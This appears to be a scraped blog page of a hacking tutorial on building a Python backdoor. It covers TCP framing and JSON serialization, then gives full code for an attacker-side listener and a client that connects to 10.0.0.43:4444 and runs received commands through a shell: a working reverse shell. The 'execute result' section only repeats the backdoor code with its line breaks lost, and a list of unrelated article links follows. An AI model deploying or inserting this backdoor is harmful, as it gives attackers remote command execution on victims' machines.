BACKDOORS Sockets

Problem:

  • TCP is stream-based.
  • Difficult to identify the end of message/batch.

Solution:

  • Make sure the message is well defined.
  • Implement a protocol that sends and receives methods conform to.
    • Send the size of the message as a header.
    • Append an end-of-message mark to the end of each message.
    • Serialize the message.

BACKDOORS Serialization

Benefits:

  • Message is well defined, receiver knows if message is incomplete.
  • Can be used to transfer objects(lists, dicts ...etc)

Implementation:

  • JSON and Pickle are common solutions.
  • JSON(Javascript Object Notation) is implemented in many programming languages.
  • Represents objects as text.
  • Widely used when transferring data between clients and servers.

Server Side - Listener Code:

#!/usr/bin/env python
import socket
import json class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) def reliable_send(self, data):
json_data = json.dumps(data).encode()
self.connection.send(json_data) def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue def execute_remotely(self, command):
self.reliable_send(command.decode())
return self.reliable_receive() def run(self):
while True:
command = input(">> ").encode()
result = self.execute_remotely(command)
print(result) my_listener = Listener("10.0.0.43", 4444)
my_listener.run()

Client Side - Backdoor code:

#!/usr/bin/env python
import json
import socket
import subprocess class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port)) def reliable_send(self, data):
json_data = json.dumps(data).encode()
self.connection.send(json_data) def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue def execute_system_command(self, command):
return subprocess.check_output(command, shell=True) def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode())
connection.close() my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

Execute result:

#!/usr/bin/env pythonimport jsonimport socketimport subprocess

class Backdoor:    def __init__(self, ip, port):        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.connection.connect((ip, port))
    def reliable_send(self, data):        json_data = json.dumps(data).encode()        self.connection.send(json_data)
    def reliable_receive(self):        json_data = ""        while True:            try:                json_data = json_data + self.connection.recv(1024).decode()                return json.loads(json_data)            except ValueError:                continue
    def execute_system_command(self, command):        return subprocess.check_output(command, shell=True)
    def run(self):        while True:            command = self.reliable_receive()            command_result = self.execute_system_command(command)            self.reliable_send(command_result.decode())        connection.close()

my_backdoor = Backdoor("10.0.0.43", 4444)my_backdoor.run()

最新文章

  1. MVVM大比拼之AngularJS源码精析
  2. JavaScript闭包浅谈
  3. 连接数据库——模拟ATM机查、存、取、开户功能
  4. SQL语句在OLAP的妙用(多维分析与指标计算)
  5. PHP的线程安全与非线程安全版本的区别
  6. DWZ框架学习一
  7. 使用Keil软件编写汇编源程序应注意事项
  8. js 数组排除重复值(string)
  9. 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写
  10. HTTP协议中返回代码302的情况
  11. 广州图书馆借阅抓取——httpClient的使用
  12. SSM框架-MyBatis框架数据库的增删查改操作
  13. 多个Tomcat之间实现Session共享
  14. 用Java操作数据库Datetime数据
  15. SMINT:单页网站的免費jQuery插件
  16. Office Visio 201*安装详细步骤并激活
  17. ise和modelsim联合仿真的一些准备
  18. Python 中的线程-进程2
  19. postman全方位讲解(有空看下)
  20. BETA阶段冲刺

热门文章

  1. redis概要学习
  2. git 远程分支和tag标签的操作
  3. 【C++和C#的区别杂谈】后自增运算符的结算时机
  4. windows 下搭建 MQTT 服务
  5. docker 在centos7中设置 DOCKER_OPTS
  6. web页面弹出遮罩层,通过js或css禁止蒙层底部页面跟随滚动
  7. HTML5(四)Drag and Drop
  8. 状压DP之LGTB 与序列
  9. 线性DP之免费馅饼
  10. ICPC 2018 亚洲横滨赛 C Emergency Evacuation(暴力,贪心)